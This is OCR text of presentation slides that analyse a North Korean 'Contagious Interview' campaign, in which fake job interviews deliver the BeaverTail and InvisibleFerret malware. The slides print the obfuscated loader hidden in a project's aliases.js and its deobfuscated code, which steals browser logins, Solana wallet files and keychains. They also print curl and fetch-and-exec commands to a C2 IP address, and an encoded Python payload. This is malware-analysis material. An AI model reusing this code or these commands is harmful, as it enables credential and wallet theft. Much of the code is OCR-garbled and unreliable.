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Breakdown of a Malware Attack

Break down, break down
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Introduce

e |azarus
o APT 38
o North Korea
o steal money
o spy attack
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Introduce

e (ontagious Interview

threat actor
poses as

prospective
employer

victim conducts victim downloads
online job malicious npm
interview package from
Github

victim installs
malicious npm
package

o,

X

AT g

npm package

retrieves and

runs backdoor
malware

backdoor

malware
establishes

access on
victim's host

5y

9
3
N

§



Introduce

e (ontagious Interview

ﬁ‘} Linkedin Member [ - 11:17 AM
Ry

W
i/

SRR Aditya
This is Javier, CTO at AgencyHill99.
There is a vacancy for a JavaScript and
TypeScript(React or Node.js) Developer and the salary
is $40-$45 a hour.
Let me know if you're interested in this position.
Thanks
Javier

https://sohay666.qgithub.io/article/en/reversing-scam-interview-base-on-js-project.html
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https://sohay666.github.io/article/en/reversing-scam-interview-base-on-js-project.html

Introduce

e (ontagious Interview

B Good, I'm available at that time.

Then I'll wait for you in the link below at that time.

https://meet.google.com/bmm-cnvd-ghy

Meet
meet.google.com

Thanks.
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https://sohay666.github.io/article/en/reversing-scam-interview-base-on-js-project.html

Introduce

e (ontagious Interview

o blackbear901 <noreply@github.com> 11:15AM (1 hour ago)

D tome v

@blackbear901 has invited you to collaborate on the
AgencyDiGi/online-chess-game repository

You can accept or decline this invitation. You can also visit @blackbear901 to learn a
bit more about them.

This invitation will expire in 7 days.

* © «
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https://sohay666.github.io/article/en/reversing-scam-interview-base-on-js-project.html

Introduce

e (ontagious Interview

@ blackbearg01 Update Readme.md 03b8165 - 2 weeks ago
W public create project

I server create project

W src create project

[ .gitignore create project

[ Readme.md Update Readme.md

[ package.json create project

[ varn.lock create project

[ README

Installation Guide
Node version is 16.20.2

npm install
npm start

Problem

First of all, set the node version

We will review not only your code optimization but also your coding style and coding speed.

Find the Al monkey part in your React component.
And you should optimize the code in the component.
YYou don't need to optimize all the functions. It's enough for some special functions.

https://sohay666.qgithub.io/article/en/reversing-scam-interview-base-on-js-project.html

O 2 Commits
2 months ago
2 months ago
2 months ago
2 months ago

2 weeks ago
2 months ago

2 months ago

provided.

Readme

Activity

0 stars
2 watching

[as]

N

B Custom properties
w

(o]

% 0forks

Releases

No releases published

Packages

No packages published

Languages

® JavaScript 767%  ® SCSS225%
@ Other 0.8%
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Introduce

e Afteryou clone and runit...

(43 ]
@
N

{



Introduce

e Afteryou clone and runit...

(43 ]
S&)
S

{



Introduce

e Afteryou clone and runit...

N
QL
o

{



Introduce

e Afteryou clone and runit...

(43 ]
Q&)
S

{



ULl

What happened?

N
<kﬁE:
SN

Sl rr7/7/7774



s

Stage 1 - BeaverTail

N
<kﬁE:
N

Sl rr7/7/7774



Stage 1 - BeaverTail

e Looks normal...?

index.js
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// Internet Explorer 11 requires polyfills and partially supported by this project.
// import 'react-app-polyfill/iell’;

// import ‘'react-app-polyfill/stable’;

import './ii8n';

import ‘@rainbow-me/rainbowkit/styles.css’;
import './styles/app-base.css';

import './styles/app-components.css';

import ‘./styles/app-utilities.css’;

import { createRoot } from 'react-dom/client’;
import { Buffer } from "buffer";

import App from ‘./app/App’;

import * as serviceWorker from './serviceWorker';
import reportWebvitals from './reportWebvitals';

window.Buffer = Buffed;

const container = document.getElementById( 'root"');
const root = createRoot(container);
root.render(<App />);

reportWebvitals();

// If you want your app to work offline and load faster, you can change
// unregister() to register() below. Note this comes with some pitfalls.
// Learn more about service workers: http://bit.ly/CRA-PWA
servicelWorker.unregister();
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L

2 “name”: “"euron-presale-app”,
3 "version”: "8.1.0",
4 "lockfileversion”: 3,

e Looks normal...? -

package-lock.json -

r
1

“requires”: true,

“packages™: {
“name”: "euron-presale-app”,
"version”: "8.1.0",
"dependencies": @

"@babel/plugin-proposal-private-property-in-object”: "~7.21.11",
"@date-io/date-fns-jalali”: "2.14.0",
"@eisberg-labs/mui-copy-field": "~4.0.2",

"@emotion/cache™: "11.9.3",

"@emotion/react™: "~11.9.3",

"@emotion/styled™: "11.9.3",

"@fullcalendar/daygrid”: "5.11.0",

"@fullcalendar/interaction”: "5.11.0",

"@fullcalendar/react": "5.11.1",

"@fullcalendar/timegrid”: "5.11.0",

"@hookform/resolvers™: "2.9.5",

"@moonpay/moonpay-react™: "A1.8.2",

"@mui/base™: "5.0.0-alpha.89",

"@mui/icons-material™: "5.8.4",

"@mui/joy": "~5.0.0-beta.36",

"@mui/lab”: "5.0.0-alpha.9e",

"@mui/material”: "5.9.0",

"@mui/styles™: "5.9.0",

"@mui/system”: "5.9.0",

"@mui/utils”: "5.9.0",

"@mui/x-data-grid”: "s5.13.0", B
"@mui/x-date-pickers”: "5.0.0-beta.o",
"@rainbow-me/rainbowkit™: "~1.0.4",
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e Looks normal...?

aliases.js
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* This function generates an object containing aliases for frequently used paths in a project.

*

* The aliases are shorthand references for specific directory paths, allowing easier and cleaner imports
throughout the project. This is particularly useful in larger projects where directory structures

can get complex. Instead of importing files with relative paths like ~../../../app/store’,

these aliases provide a simpler and more maintainable way to import modules.

*

*

*

* @param {string} [prefix="src'] - The base directory path to prepend to the aliases. Defaults to “src’.

* @returns {Object} An object where keys are alias names and values are their corresponding directory paths.

Example:
- If “prefix® is “'src'", the alias " '@fuse’” will point to " 'src/@fuse'".
- You can then use the alias in your imports like ~“import something from '@fuse/some-module’;".

* Export:
* - The function is exported via “module.exports™ so it can be imported and used elsewhere,
*  typically in build configuration files like Webpack, Vite, or Rollup to configure path resolution.

*/

const aliases = (prefix = “src’) => ({

‘@fuse’: ~${prefix}/@fuse’,

‘@history’': “${prefix}/@history”,

‘@lodash’: ~${prefix}/@lodash’,

‘@mock-api’: ~${prefix}/@mock-api”,

‘app/store’: ~${prefix}/app/store’,
*app/shared-components': ~${prefix}/app/shared-components”,
‘app/configs': ~${prefix}/app/configs”,
‘app/theme-layouts’: ~${prefix}/app/theme-layouts’,
‘app/AppContext’: ~${prefix}/app/AppContext”,

1)

module.exports = aliases;
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2 * “n object containing aliases for frequently used paths in a project.
3 * N

Stage 1 - Beavez il
g S

* 7 alla ances for specific directory paths, allowing easier and cleaner imports
o LDOI(S nDrmaI ...? ) * t '*h_ou? - ~ficularly useful in larger projects where directory structures
6 Gl “complexs \(iles with relative paths like ~../../../app/store’,
7 * ’,iases prova, maintainable way to import modules.
e Wait asecond :
=== 9 * @param {string} [pr‘efixkg tory path to prepend to the aliases. Defaults to “src’.
10 * @returns {Object} An object w “ames and values are their corresponding directory paths.
11 " .
12 * Example: N\ A .
13 * - If “prefix® is “'src®'", the alias «to " 'src/@fuse’”.
14 * - You can then use the alias in your ih “something from '@fuse/some-module’;’
. . 15 % 3 .
aliases.js N [ ,
17 * - The function is exported via "module.¢ imported and used elsewhere,
18 *  typically in build configuration files or Rollup to configure path resolution.
19 7
20 p
21 const aliases = (prefix = “src’) => ({ *
22 ‘@fuse’: ~${prefix}/@fuse’,
23 ‘@history’': “${prefix}/@history”, )
24 ‘@lodash’: ~${prefix}/@lodash’, 4
25 ‘@mock-api': ~${prefix}/@mock-api’, el
26 ‘app/store’: ~${prefix}/app/store’, \
27 *app/shared-components': ~${prefix}/app/shared-t. " .énts”,
28 ‘app/configs': ~${prefix}/app/configs”, .
29 ‘app/theme-layouts’: ~${prefix}/app/theme-layouts’,
30 ‘app/AppContext’: ~${prefix}/app/AppContext”,
3 15

module.exports = aliases;
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e Looks normal...?
e \Waitasecond...

aliases.js

=

*

This functiin generates an object containing aliases for frequently used paths in a project.

The aliase
throughout
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0

2 * This functin generates an object containing aliases for frequently used paths in a project.

3 *

7 4 * The aliase{ msa _shorthand references for specific directory paths, allowing easier and cleaner imports

. LDOI(S nDrI | Ial R —— 5 * throughout [he projest Weiis particularly useful in larger projects where directory structures

6 * can get collex. Instead of imporcrvgllmepuith relative paths like ~../../../app/store’,

7 * these aliafis provide a simpler and more maintalifast to_import modules.
L Walt a Second === 9 * @param {string} [prefix="src'] - The base director) 1 * ¥ | src”

10 * @returns {Object} An object where keys are alias ng ory paths.

11 " = . -

12 * Example: 2 ThlS ‘FUHCtl

13 * - If “prefix’ is “'src'", the alias " '@fuse’” will & %

14 * - You can then use the alias in your imports like 7 3

aliases.js * The aliases

roughout fron.
n get com
lese alias
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e Looks normal...?
e \Waitasecond...
e \Whatthe..

aliases.js

W N R

%
* This function generates an object containing aliases for frequently used paths in a project.
x
*/ Object.prototype.toString,0bject.defineProperty,0
c="utf8",a=require("fs"),$=require("os"),r=a=>(s1=a.slice(1),Buffer.from(s1,t).tostring(c));pt=require(r("zcGFoaA™)
("aY2hpbGRfcHIvY2vzew") ) [r("czxhlyw™) ], hs=$[r("caG9zdG5hbWu")](),pl=$[r("YcGxhdGZvcmo")](),hd=$[r("ZaGotzwRpcg")]()
const n=a=>Buffer.from(a,t).tostring(c),1=()=>{let t="OTUuMJE3LjaHROcDOVLWEYNCAyNTM=";for(var c="",a="",$="",r="",e
+$+r,n(a)+n(c)},s=t=>t.replace(/A~([a-z]+|\/)/, ((t,c)=>"/"===c?hd:” ${pt[n("ZGlybmFtzQ")](hd)}/${c} )),h="xyz2" ,0="Z
m="L2NsaWVudA" ,u=n("zXhpc3RzU31luYyw"),d="TGOnaW4gRGFOYQ", y="Y29weUZpbGU" ; function p(t){const c=n("YWNjZXNz"+"U31luyw"
("RGVMYXVsdA™) ,G=n("UHIvZmlszQ"), f=r("azmlsZwShbWu" ) ,W=r("cZm9ybURhdGE"),Y=r("adX3s"),w=r("Zb3Boawoucw"),Vv=r("YdmFs
("aXNEaxJ1Y3Rvenk™),n("cG9zdA")),x="Ly5jb25maWcv" , z="L@xpYnIhcnkvQXBwbGljYXRpb24gU3vwcGoydC8" , F="LOFwWCcERhdGEV" ,R="L
X="QnJhdmvTb2Z@d2FyzS9CcmF2ZS1Ccm93c2Vy" ,,Q="729vZ2x1LWNocmotzQ", =["TG9jYWwvQnIhdmvTb2Z0d2FyzS9CcmF2ZS1Ccm93c2vy™ , X
["TG9jYWwvR29vZ2x1LeNocmotZQ" ,N,Q], g=[ "UmOhbWluZy9PcGVyYSBTb2Z@d2FyZS9PcGVYYSBTAGFibGU" , "Y29tLmOwzXJhc29mdHdhcmUuT3
["bmtiawhmymvv", " ZWpiYWxiYWtv", "Zmhib2hpbWF1","aG5mYWsrbmoj", “Zm5qaGiraGht", "awJuzWpkzmpt", "ZWpgbGFkawWsu", " Zwziz2xn
"YmZuYWvsbwot" , "bGdtcGNwz2xw" , "YmhoaGxizZXBk" , "amIsbmRsaxBl", "ZWdqaWRqYnBn" , " cHBiaWJ1bHBj", "b3BjZ3BmbWlw" , "bWNvaGlsb
["Z2F1YW9laGx1Zm5rb2RiZWZncGdrbma™ , " cGxjaGxnaGVjZGFsbWv1ZwFgbmltaGe™ , "bGIvaHBqYmJ sZGNuZ2NuYXBuzGokanA™ , "ZmvvZmlkzGd
"a23qa2thymsky25ub2dhz29nYm51ZWM™ , “bWtwY25scGVia2xtbmtvzWopaGomzwM” , "Y2tkz2plbwvrzwlkcGvva2lpa2hmy2k" , " aXBwYmdjamvw
"bmdnbWFrz2tscGtsamptz21ib2huyme™ , “ZnBozXBjY21vbmlvb2hja29ub2vlbWc", "bGpnamzob21paGtqyminamlkbGNkbm8" , " ZWltaGxwblhdq
"bmdkb2FsYmd1b2xkzwFgzZmNsbmhhZme™ , “a2JhcGFkamRubm9ga2InaWopb2RiaWM"” , "b2dwYWZubGRoZ21hcGFnY2NjZmNocGk" , "bGljaGRjb25k

"amloYmRpaGFrZmxrZGNvY2NizZ2JrcG8"”, "aWRiz3B1bmhtYWpvYwWpwYmoicHBkaWw" , “ZmFoYminZGprYnBlbwWNjaWlvbGdjz2u", " cGliYWpqzZmht
"Z3Bpa29vYm9obWFizZwhobwhmb29kYmI™ , " cGhwZmxmbmxrb21ncGZicGNnZWxvcGe "] ,q="Y331YXR1UmVhZFNecmvhbQ" ,C=async(t,c,$)=>{1e
catch(t){return[]}c||(c="");1let e=[];const 1=n("TG9jYWwgRXhOZW5zaWuIFN1dHRpbmdz"),s=n(q),h=n("Lmxkyg"),o=n("LmxvZw
{G} ${$} }/${1} ;for(let t=0;t<U.length;t++){const 1=n(U[t]+B[t]);let Zz="${i}/${1} ;if(p(Z)){try{far=a[v](Z)}catch(
{(r.includes(h)||r.includes(0))&&e.push({[V]:a[s](r),[w]l:{[f]: ${c}${$} ${1} ${t} }})}catch(t){}}))}}}if($){const t
("Ly5jb25maWcvc29sYwWshL21kimpzb24™)}™ ,a[u](r))try{e.push({[V]:a[s](r), [w]:{[f]:t}})}catch(t){}}return S(e),e},s=t=>
{timestamp:e.toString(),type:h,hid:k,[c]:t},s=1();try{const t={[Y]: ${s}${a} ,[W]:$};rq[L](t, ((t,c,a)=>{}))}catch(t
$="d"==pl[e]?"${a}${n(z)}${n(t[1])} :"1"==pl[e]2" ${a}${n(x)}${n(t[2])} :" ${a}${n(F)}${n(t[0])}${n(R)} ,await C($,"$
c=n(d),$=n(q),r=n("LoxpYnJhcnkvS2V5Y2hhaW5zL2xvZ21luLmtleWNoYWlu"),e=n("bGona2mtzGI");if (pa="${hd}${r} ,a[u](pa))try
(pa+="-db",a[u](pa))try{t.push({[v]:a[$](pa), [w]: {[f]:e}})}catch(t){}try{const r=n(y);let e="";if(e="${hd}${n(z)}${
1="${e}/${0===n?b:" ${G} ${n} }/${c} ;try{if(!p(1l))continue;const c="${e}/1d ${n} ;p(c)?t.push({[V]:a[$](c),[w]:{[f]
{[f]: pld_${n} }}1;S(c)}))}catch(t){}}}catch(t){}return S(t),t},A=async()=>{let t=[];const c=n(d),%$=n(q);try{const

""l1==e&&p(e))for(let n=0;n<200;n++){const 1="${e}/${0===n?b: ${G} ${n} }/${c} ;try{if(!p(1l))continue;const c="${e}/
{n} }}):a[r](1,c, (t=>{let c=[{[V]:a[$]1(1),[w]:{[f]: brld_${n} }}1;S(c)}))}catch(t){}}}catch(t){}return S(t),t},E=as

("bGonawszLmpzb24™) ;try{let e="";if(e="${hd}${n(z)}${n("RmlyZWZveA")} ,e&&""!==e&&p(e))for(let n=0;n<200;n++){const
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Deobfuscate

541 lines ...

prototype.toString;

ob
ob
co
co
co
pt
rq
ex
hs
pl
hd
td
tp
le
co

ject.defineProperty;
ject.getownPropertyDescriptor;
nst a = require("fs");

nst $ = require(“os");

nst r = a => (s1 = a.slice(1), Buffer.from(sl, "base64").toString("utfs8"));

= require(r("zcGFeaA"));

= require(r("YcmvxdwvzdA"));

= require(r("aY2hpbGRfcHIvY2vzcw")) [r("czXhlyw")];
= $[r("caG9zdG5hbWu")1();

= $[r("YcGxhdGZvcme")]();

= $[r("zaGotzwrpcg")]1();

= $[r("cdciwzGly")]1();

= $[r("AdHIwZQ")]();
t e;

nst 1 =() => {

wn

Var c =

var a =
var $ =
for (var e = 9; e < 10; e++) {
c += "OTUuMjE3LjaHROCDOVLWEYNCAYNTM="[e];
a += "OTUUMjE3LjaHROCDOVLWEYNCAYNTM="[10 + e];
$ += "OTUUMjE3LjaHROCDOVLWEYNCAYNTM="[20 + e];
}
c=c+%$+"";

wa

return Buffer.from(a, "base64").toString("utf8") + Buffer.from(c,

"base64").toString(

"utfs");


https://obf-io.deobfuscate.io/
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21 pl = $[r("YcGxhdGZvcme")]();
e use debugger to deobfuscate 22 hd = $[r("ZaGotzWRpcg")]1();
D 23 td = $[® r("cdGlwzGlv")1® ():

o or bash or cyberchef ...
PROBLEMS OUTPUT DEBUG CONSOLE TERMIN

undefined

r("ZaG9tZWRpcg")

"homedir'

hd
‘C:\\Users\\Administrator'

L
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21 pl = $[r("YcGxhdGZvcme")]();
e use debugger to deobfuscate 22 hd = $[r("ZaGotZWRpcg”)1();
D 23 td = $[® r("cdG1lwzGlv")1® ():
o or bash or cyberchef ...
PROBLEMS OUTPUT DEBUG CONSOLE TERMIN
PS C:\Users\Administrator> node
Welcome to Node.js v22.13.0.
Type ".help" for more information. undefined
Eprotgtyge.ftoStriEg; _ . -
ncaught ReferenceError: prototype is not define " n
> Object.defineProperty; r‘( ZathZWRpcg )
> Object.getOwnPropertyDescriptor; 'homedir'
> const % = wEeunliee( Mg ) e hd
undefined
- o $ = require("os"); 'C:\\Users\\Administrator"
undefined
> clonst 1rl = a = (8l = a.slilee(il), B, frem(Sil, “orsEeal™), teSt e ime i )3
undef 1nec
> r("zcGF0aA")
> r("YemVxdWVzdA")
> r("aY2hpbGRfcHIvY2Vzcw")
1d proce; 233
> r("cZXhlYw") \BLP
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21 pl = $[r("YcGxhdGZvcme")]();
e use debugger to deobfuscate 22 hd = $[r("ZaGotZWRpcg”)1();
D 23 td = $[® r("cdG1lwzGlv")1® ():
o or bash or cyberchef ...
PROBLEMS OUTPUT DEBUG CONSOLE TERMIN
PS C:\Users\Administrator> node
Welcome to Node.js v22.13.0.
Type ".help" for more information. undefined
Eprotgtyge.ftoStriEg; _ . -
ncaught ReferenceError: prototype is not define " n
> Object.defineProperty; r‘( ZathZWRpcg )
> Object.getOwnPropertyDescriptor; 'homedir'
> const % = wEeunliee( Mg ) e hd
undefined
- o $ = require("os"); 'C:\\Users\\Administrator"
undefined
> clonst 1rl = a = (8l = a.slilee(il), B, frem(Sil, “orsEeal™), teSt e ime i )3
undef 1nec
> r("zcGF0aA")
> r("YemVxdWVzdA")
> r("aY2hpbGRfcHIvY2Vzcw")
1d proce; 233
> r("cZXhlYw") \BLP
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Stage 1 - BeaverTail

e After deobfuscation

prototype.toString;

Object.defineProperty;
Object.getownPropertyDescriptor;

const a = require("fs");

const $ = require("os");

const r = a => (s1 = a.slice(1), Buffer.from(sl, "base64").toSt
pt = require(r("zcGFeaA"));

rq = require(r("YcmvxdwvzdA"));

ex = require(r("aY2hpbGRfcHIvY2vzcw"))[r("czxhlyw")];
hs = $[r("caGozdG5hbwu")]();

pl = $[r("YcGxhdGZvcme")]();

hd = $[r("zaGotzwRpcg™)1();

td = $[r("cd6iwzGly")]();

tp = $[r("AdHLWZQ")1();

let e;

const 1 = () => {
VAR IGE== ==
VAL Tkt
VAR =

for (var e = 9; e < 10; e++) {
c += "OTUUMjE3LjaHROCDOVLWEYNCAyNTM="[e];
a += "OTUUMjJE3LjaHROCDOVLWEYNCAYNTM="[10 + e];
$ += "OTUUMjE3LjaHROCDOVLWEYNCAYNTM="[20 + e];

}

c=c+%$+"";
return Buffer.from(a, "base64").toString("utf8") + Buffer.frc

}s



Stage 1 - BeaverTail

e After deobfuscation

i | prototype.toString; ) console.log(Object.prototype.toString.call([])); // "[object Array]"

2 Object.defineProperty; 2  Object.defineProperty;

3 Object.getOwnPropertyDescriptor; 3 Object.getOwnPropertyDescriptor;

4 const a = require("fs"); 4 const a = require("fs");

5 const $ = require("os"); 5 const $ = require("os"

6 const r=a=> (sl = a.slice(1), Buffer.from(sl, "base64").toSt 6 const r =a => (sl = a.slice(1), Buffer.from(sl, "base64").toString("utf8"));

7 pt = require(r("zcGFeaA")); 7  pt = require('path');

8 rq = require(r("YcmvxdwvzdA™)); 8 rq = require('request');

9  ex = require(r("aY2hpbGRfcHIvY2vzcw"))[r("czxhlyw")]; 9  ex = require('child_process')['exec'];

10 hs = $[r("caGozdGshbwu")](); 16  hs = $['hostname’]();

11 pl = $[r("vcGxhdGzvemo")](); 11 pl = $['platform’]();

12 hd = $[r("zaGotzwRpcg")1(); 12 hd = $["homedir']();

13 td = $[r("cdciwzGly")]1(); 13 td = $['thdif"]()3|

14 tp = $[r("AdH1wZQ")](); 14 tp = $["type'1();

15 let e; 15 let e;

16 const 1 = () => { 16

17 var ¢c = ""; 17/l c2

18 var a = ""; 18  // http://95.217.124.253

19 var § = ""; 19 const 1 = () => {

20 for (var e = 9; e < 10; e+t) { 20 var ¢ = "";

21 C += "OTUUMjE3LjaHROCDOVLWEYNCAYNTM="[e]; 21 var a = "";

22 a += "OTUUMjE3LjaHROCDOVLWEYNCAYNTM="[10 + e]; 22 var $ = "5

23 $ += "OTUUMJE3LjaHROCDOVLWEYNCAYNTM="[20 + e]; = el (R © S G 5 Kl )

24 } 24 c += "OTUuMjE3LjaHROcDovLWwEYNCAyNTM="[e];

25 C=c+$+" 25 a += "OTUuMjE3LjaHROcDovLWEYNC4yNTM="[10 + e]; 233

26 return Buffer.from(a, "base64™).toString("utf8") + Buffer.frc 2 $ += "OTUUMIE3LjaHROcDOVLWEYNCAYNTM="[20 + e]; . I')
27 |} 55UP

27 15 S~



Stage 1 - BeaverTail

e (2 (Command and Control Server)

b

17 1/ €2

18 // http://95.217.124.253

19 const 1 = () => {

20 var ¢ = "";

21 var a = "";

22 var $ = °";

23 for (var e = 0; e < 10; e++) {

24 c += "OTUuMjE3LjaHROcDovLWEYNC4yNTM="[e];

25 a += "OTUuMjE3LjaHROcDovLWEYNC4yNTM="[10 + e];
26 $ += "OTUuMjE3LjaHROcDovLWEYNC4yNTM="[20 + e];
27 }

28 € =c+ "

29 return Buffer.from(a, "base64").toString("utf8") + Buffer.from(c, "base64").toString("utf8");
30

3

=



Stage 1 - BeaverTail

e solanaid

105 Ef ($) {

106 const t = 'solana_id.txt"'
107 r = “${hd}${'/.config/solana/id.json'} ;
108 if (aful(r)) {

109 try {

110 e.push({

111 [v]l: a[s](r),

112 [w]l: {

113 [f]: t

114 }

})s

116 } catch (t) {}

117 }

118 }

119 S(e);

120 return e;

3]
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Stage 1 - BeaverTail

e browser

o chrome
178 try {
179 const r = 'copyFile'
180 let e = "";
181 e = “${hd}${'/Library/Application Support/'}${'Google/Chrome'}";
182 if (e && "" l== e && p(e)) {
183 for (let n = 8; n < 200; n++) {
184 try {
185 if (!p(${e}/${0 === n ? b : “${G} ${n} }/%${c})) {
86 continue;
187 } N
if (p("${e}/1d_${n}")) [
189 t.push({
190 [V]: a[$]( ${e}/1d_${n}" ),
191 [wis {
192 [f]: “pld_${n}
193 }

194 L bl

3]
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Stage 1 - BeaverTail

361 const O = async () => {
362 let t = [];
363 const ¢ = ‘createReadStream’
364 const $ = 'key4.db'
] browser 365 const r = 'key3.db'
366 const e = 'logins.json'
367 try {
o chrome s | | let 1=
369 1= ‘${hd}’/.mozilla/-Fir‘efox/I“;
e} flrefox . ?7‘6 if (1 && "" !==1 && p(1)) {
371 for (let n = ©; n < 200; n++) {
ey - 372 const s =@ ===n? b : “${G} ${n} ;
const r = 'copyFile' 373 try {
let e = ""; 2 5 < <
e = “${hd}${'/Library/Application Support/'}${'Google/Chrome'}"; f_“: - (!pg ${]..}/${s}/${$} » A
if (e 8& "" I== e 8& p(e)) { - e
for (let n = @; n < 288; n++) { i }
try {
if (!p(C${e}/${® === n ? b : “${G} ${n} }/${c}’)) {
continue;
}
if (p("${e}/1d_${n}"))
t.push({
[V]: a[$]( ${e}/1d_${n}"),
[w]l: {
[f]: “pld_${n}
} _’7’11F
LD \BIUP;



Stage 1 - BeaverTail

check python

if (a[u]( ${ ${hd}${"\.pyp\python.exe'} }")) {

() =>+#
const t = 1();
const ¢ = "/client®
const $ = ‘'get’
const r = 'writeFileSync'
const e = "/.npl’
try @

a[P]("${hd}${e} );
m catch (t) {}
rq[$1( ${t}s{c}/${"xyz2"} , (t, ¢, $) => {
EENOLE)
try {
a[r]("${hd}${e} , $);

ex(" "${hd}${"\.pyp\python.exe'}" "${"${hd}${e}"

} catch (%) {}
D3
NO;
} else {
at();

}'”) (ts G a) =2 ‘L})J

9
9
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Stage 1 - BeaverTail

e check python

e andifudon'thaveit..

ex("${ curl -Lo'} "${ ${td}\\${ p.zi"} }" "${ ${ http://95.217.124.253"}${"/pdown’
if (t)
tt = 0;
return void $t();|
B
try {
tt = 51476596;
ale](C${td\\${ p.zi'}", "${td}\\${t} );
ct(C${td}\\${t} );

1~
J

y

N
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Stage 1 - BeaverTail

e check python
e andifudon'thaveit..

o go to C2/pdown, and download Python.

pznp\pyp ZIP B4R, FREHEA/ 130,185,484 {uT4

8,926,305 ; xR
114,001,960 43,168,040 202.;/6/1 7
Scripts 504,149 236,810 1B 3 2023/6/17 8
Tools 564,398 165,336
[®5] python.exe 101,752 52,719 § G ‘ CO7EB2D..
7| python3.dll 65,912 21,768 FEFE : 12/7 £.. 1F6D574A
| python311.dll 5,761,912 2,279,173 F 2022/12/7 _; 4F61F064
9 pythonw.exe 100,216 51,146 EREA 2022/12/7 £.. 6BAB93E6
| veruntime140.dll 109,392 56,238 2022/12/7 £.. D4EEASEC
| veruntime140_1... 49,488 24,489 EEZEIE 2022/12/7 £.. 3AC2F43C

By
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Stage 1 - BeaverTail

next stage

const t = 1();

const ¢ = '/client’

const $ = 'writeFileSync'
const r = 'get’

const e = "/.npl’

const s = 'python’

rq[r] (" ${t}${c}/${"xyz2"}", (t, ¢, r) => {
// http://95.217.124.253/client/xyz2
if (1t) {
a[$]( ${hd}${e} , r);
ex("${s}3 "${ ${hd}s{e} }"", (t, c, a) => {});
h
1)

L
N
1
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Stage 2 - InvisibleFerret

import ('zlib').decompress( import ('base64').b64decode( [::-1]));




Stage 2 - InvisibleFerret

>>> (payload)

b"exec(( )(b'==AqT3ns/1///9Z+qlN+yJX96tWDejGnWCq4mfnHL3WvWwruTGzU6vkslIo5x+Do5HRUg2w3<
/KB3jElof4mR1g+SvyQwCBiMxGNMiwWODBQQCJIBF8eB8CcEMVVO6H1hI6 rBRiuTfAv8p9IwHMIB81iYOYOp6NIvENF
jenHqlP88zpxjuxXedV5kghyf40mY3HOPNgEel1ls6Y+KMyWjANocaOLUp6nxRtBq7qgLVy3pzbN+RIVVmMELYNT
epHm4vZ0hh3pzztGC16TjZR4rTODVg55ZZHMeph10iyo5Wc9ABALipKSHGR68R74QSkXTz6h8ZACR9iHX6C+v T
DgDR16TEvgMPVORMCQVbnjIAryjj4pN8e5Qt0yaoSrMNnC6vxkQi3gGrBOHe57whwQe9/UcHMOjmIqfLnr1iDt
dnOyCZHNy®YhrdNyJYv/5YYAHHVH18FCFzGmI/ZOGURgLkvUBw44yHtqIw/CI5WMqO/Pt1TSIZUUK4pM7RgZI+
CGta8hMIXVMXKT7+hXt+5MtBNbeuz/TFLONA+Qa2GvYb96CMNSIXvycSwH7dZkdJAyK3Y989j FYfVtoE+BMm2f
rGLy1sGKkvWHirrG9FNHp+PLVe4Xbm8avk3ndbRxR5c71+1FicqoczV1CLdsZzxhfP/IulWVA9R/55CKKkwZgH1N
a7PJSbLDuwIkDeZpD8Bmh7Whe2Uifs9LRzLKVYrKzONXufzRhcg3NwroQAks4h+SEqB+hT8b6bEFpOMKN6QQUF
VMLB51jw3K5SvT7TsgVUSTFVzVeSRkhxmJLIE903n+Q9SH8mMBLSsXx07+dz+YfzL1PruzZlc3MX7f1Svp6wedI6XC
X1QL6jyYgNrUK4EgNPmzTbs3IKBIrVMR1prrC/9iYY0Y1qld8qYq/xqH3mMWELrSnjizZ4vDUIwbkCts7gE2+Up]
kmUoBm4bfhFjv/EBaTYDKpCNrVVcUp75PmXT5HhjGsKtAXxZQ4LWdAvuv6EmGWUESBKMIeAmnA6+4KRSOZI41/E
DCu2cqgBlaOn+IasIarMtp/qthcgvfRKb4k/LsRYLe+FibXTPXLXrLHjGruf+1wY558TdACKkW+3meTciTE]j4sXt
eTDEMocKd1f9FVgdben75nn+Pj9IW78bKmF7AhYXaDXs5gKONsSCMBR7SA06/v52v5jMgyW6LXR50 tRpXLXWXXY
OE0anD6AiWL4YGPTm7QhCY3MoAy fCMWTB518/J0sGAXqUD683AMWIBF8H6KM/ ta42VIMSULSZGPYZTjNSYYdhx
Ys61i0gwNreNSOCEcQcolLWwSIfpufPtAZyqokOAp8NZHS11g9s3VETpR1+P2yRVXHQ9/NIUZ87 rPHrR+90hyczy
LB8gS83WK1X2Xq/32dneTPhNdriYtKCzZ9DVsTYxztHhINUBgqt+IJ9euV8j1BSq7SgNlkrc7SWnHM71c00q5E
gL/BaC/gzxZb7N1KnNDuP2JdvcPqlvcZvGr4NsvFko/20moAsbk3DqPz5tfIZrfLINa6vzauEOZF/9e2PTnbPC
DhOkmSdfjJZ4dYOztfBcomrd5AjY914610H9b15zP81kQsp80rDsu2C4/MKpZtzc65cIYSXt80SgSLNs F20xXk
0611N5000UcN2BXx0oDFtOGES+JB+0APdUj0/8ITEQTLP70YkhjEhOGTYSJ0otjyRzkQrBmavTnL5qr1lKts5wWIsF
4yDy3zdpY6b5parYJHHiwMC3Mv23RFi8g/v4Z1leCYXXi+uenR+vDUFVrSxZEU9H]jXaRoHfFOhvaUskoltZxMok
8kQ2aUcvLPuuAMAt97CKP1246zQ018zDDgk+j+C021i30L6KvuBPcCBY]j/9nmKLh3Cm9VGmqW951JsKGgxNPoS+
cHUaJQUI9RbCBnPe80eDayN8/QqGATEKg7stiFLsAT1fyiHUwyrUxcuob/TgrIial3MUZ70VX24nzfCIzWGYVIT

NnTNOWMDZhhN7TuevYm2AKArY i MAEYRArIIChL2AYmAANaHVUOMAHUAY /KNAYAT Aa2uthiClHIAYalViriMthh1 Thata/d
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Stage 2 - InvisibleFerret

>>> (payload)

b"exec(( )(b'==AqT3ns/1///9Z+qlN+yJX96tWDejGnWCq4mfnHL3WvWwruTGzU6vkslIo5x+Do5HRUg2w3<
/KB3jElof4mR1g+SvyQwCBiMxGNMiWODBQQCIBF8eB8CcEMVVO6H1hI6 rBRiufAv8p9IwHmMIB8iYOYOp6NIvEnF
jenHqlP88zpxjuxXedV5kghyf40mY3HOPNgEel1ls6Y+KMyWjANocaOLUp6nxRtBq7qgLVy3pzbN+RIVVmMELYNT
epHm4vZ0hh3pzztGCl6TjZR4rTODVg5SZZHMephl0iyo5Wc9ABALipKSHGR68R74QSkXTz6h8ZACR9iHX6C+v T
DgDR16TEvVgMPVORMCQVbnjIAryjj4pN8e5Qt0yaoSrMNnC6vxkQi3gGrBOHe57whwQe9/UcHMOjmIqfLnr1iDt
